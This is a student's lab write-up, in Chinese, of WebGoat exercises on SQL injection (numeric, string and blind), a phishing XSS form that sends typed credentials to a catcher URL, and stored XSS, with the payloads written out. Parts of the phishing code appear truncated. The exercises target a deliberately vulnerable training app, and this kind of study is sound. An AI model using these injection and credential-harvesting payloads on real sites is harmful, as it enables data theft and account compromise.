20164317《网络对抗技术》Exp9 Web安全基础

Exp9 Web安全基础

一、实践目标

理解常用网络攻击技术的基本原理。
在Webgoat，实践相关实验。

SQL注入攻击

XSS攻击

CSRF攻击

二、实践过程

　　1.环境配置：

　　下好jar包然后放在根目录下

　　使用：java -jar *.jar就可以解压运行webgoat了！

　　2.使用webgoat：

　　打开Firefox，输入http://127.0.0.1:8080/WebGoat/login.mvc访问webgoat

SQL注入攻击：

　　Numeric SQL Injection：

　　要求注入字符串然后可以访问所有的天气情况：

　　这里修改一下网页源代码就好了，随便选个城市然后修改他的value值，添加or 1=1 即可；

String SQL Injection：

　　要求作为smitn然后查看所有的信用卡信息：

　　输入or 1=1 --

　　--是注释掉后面的代码。

LAB: SQL Injection：

　　第一步：

　　字符串注入：要求不使用正确密码就可以登陆管理员的账户，和前面一样，但是我们要先修改网站源代码

　　使其在password一项中可以输入足够长：

然后构造真式即可

　　第三步：

　　Numeric SQL Injection：

　　先使用第一步的办法登陆员工的账户，然后再员工账户里点击查看按钮时查看管理员用户的信息

　　我们先看看这个老板账户的值是排在表的最后：

然后就可以通过修改id为101 or 1=1order by salary desc这个语句来倒序查询下一个用户信息；

　　下图就是修改位置，本来一开始想直接修改成老板的id但是不成功；

成功图：

　Blind Numeric SQL Injection：

　　数字盲注：要求就是通过输入框输入语句去查找到pins表里pin的值是多少：

　　因为这里在输入框里输入语句可以进行判断，会给出判断结果，所以使用

　　101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 2500);

　　然后慢慢缩小范围即可：

找到最后的结果为2364：

Blind String SQL Injection：

　　和数字盲注差不多，这里是找字符串，语句就有所变化：

　　101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 1, 1) = ‘h‘ );

　　意思是查找这个name的第一个字符的值是不是h

　　这里有大小写区分，然后改变第一个1所在位置的值就是改变查找的字符串的字符位置；

　　第一个字符为J

第二个为i

XSS攻击：

　　跨站脚本钓鱼攻击（Phishing with XSS）

（1）题目要求是关于一个页面中存在XSS漏洞时，如何支持钓鱼攻击。要求我们利用xss和html注入达到这些目标。

（2）使用XSS和HTML插入制作一个钓鱼网站，将其输入在search框中，代码如下：

</form>

function hack(){

XSSImage=new Image;

XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";

alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);

}

</script>

<HR>

<H2>This feature requires account login:</H2>

<br>

<br>Enter Username:<br>

<br>Enter Password:<br>

<br>

</form>

<br>

<HR

（3）输入后下拉网页，会有用户名和密码的框出现，随意输入用户名和密码

LAB: Cross Site Scripting

存储型XSS

（1）执行存储型跨站脚本攻击，以“Tom”身份登录网站，修改个人信息。验证用户“Jerry”会受到攻击。每个帐号的密码是用户明名字的小写(如:Tom的密码是tom)

（2）以用户名“Tom”密码tom登录，选择Tom，点击“View Profile”按钮。现在可以看到Tom的个人信息。点击“Edit Profile"，在“Street”一栏中进行XSS攻击。加入如下代码，点击“UpdateProfile": <script>alert("haha");</script>